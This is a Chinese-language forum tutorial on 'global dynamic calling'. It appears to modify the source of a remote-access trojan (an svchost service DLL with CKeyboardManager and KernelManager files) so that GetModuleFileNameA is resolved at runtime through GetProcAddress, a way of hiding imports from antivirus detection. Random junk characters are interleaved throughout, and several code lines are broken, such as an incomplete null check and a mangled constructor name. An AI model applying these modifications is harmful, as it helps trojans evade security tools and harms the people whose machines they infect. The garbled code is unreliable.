[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记7 ?( M5 c/ x. B6 P* P
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h3 L9 f; x) ~& R5 v1 c
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DTDY.h：6 C. c/ l4 e8 V) f# T$ U! d+ c9 M

5 g3 w7 q6 _" K. H" ?#if _MSC_VER>1000) W# z& m( T2 l
#pragma once
) ]/ ^: ]. Z: s7 u0 i6 r#endif //_MSC_VER>1000
" Z& `. O$ l! D' M#include<windows.h>& \& \+ _5 T; i

/ G) U7 E) G  A/ dtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);' S0 L) h0 c4 t
class DTDY3 W& H* A' ^7 z( L3 h  [
{
) X/ o. a# f" r2 v+ Qpublic:5 }8 ~, Q* J. _0 Q0 d
DTDY();
$ R4 K8 t% Y$ _5 S. w* X3 [virtual ~DTDY();
: v4 A% s' _( M, q3 h6 vpublic:/ q  }5 k. e9 y+ j3 M3 o/ Q" e5 D, X
static pGetModuleFileNameA MyGetModuleFileName;* K% K! s, A, Y& C; ?
static BOOL FunInitiallization();! ~$ P/ [: |/ I' W
};
1 h; T- W, h7 ~, t$ y#endif
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0 w2 r; N/ @5 |1 pDTDY.cpp:: a0 r7 M3 U# P! h* ~4 t8 _* f
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#include "DTDY.h"
7 j+ u# T+ E8 tpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;9 y/ t  R' ?) k3 g$ R
DTDY:TDY()' a1 ]. H0 k5 O! G
{
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DTDY::~DTDY()# [  K" O) D2 c6 G
{
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BOOL DTDY::FunInitiallization()3 ~/ |/ M* c5 l) f  K: j
{
7 a# w) Y7 H9 z* E! V/ g2 }HMODULE hModule=LoadLibrary("kernel32.dll");
6 x" S3 w+ ^: h* g- ]MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
5 C# M; d# g) K3 W: |2 Mif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
1 c' K- f/ P9 C  q7 e}
) v0 B' l4 _* Q' a% R) d' I----------------------------------------( z' V- w5 K0 P; N+ L8 c
svchost.cpp:& \( L& r$ r; o4 n

4 M, l8 T2 j; ~& q  C9 ]#include "DTDY.h"
5 [$ r- O" s( M# X3 `' [3 U$ Y* ~. q" H3 o
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:/ |4 q; S( K& l: [
if(!DTDY::FunInitiallization()) return FALSE;
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break;2 Z% s2 W% A) I: Y4 X! l; e
}
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5 V4 n, F1 a; ~  ^9 d% q0 J4 w/ U# L1 z, g2 d' a$ {
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
, M3 g! z6 `2 `$ A: A改写为
2 U6 p$ D" H" l. x7 r. T. Y/ x0 TDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:( W3 I; A, Y+ Y. t8 Z/ N4 B

. Z3 }2 Z) n' V3 G#include "../DTDY.h"8 S3 L# n: i+ ?. q
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
4 ~" Q. Q5 t. s5 q) g改写为
8 }8 H( G( w0 R! b; |6 K  e8 o4 jDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));9 O+ K3 M* r+ b5 J3 J! W* `. S8 A
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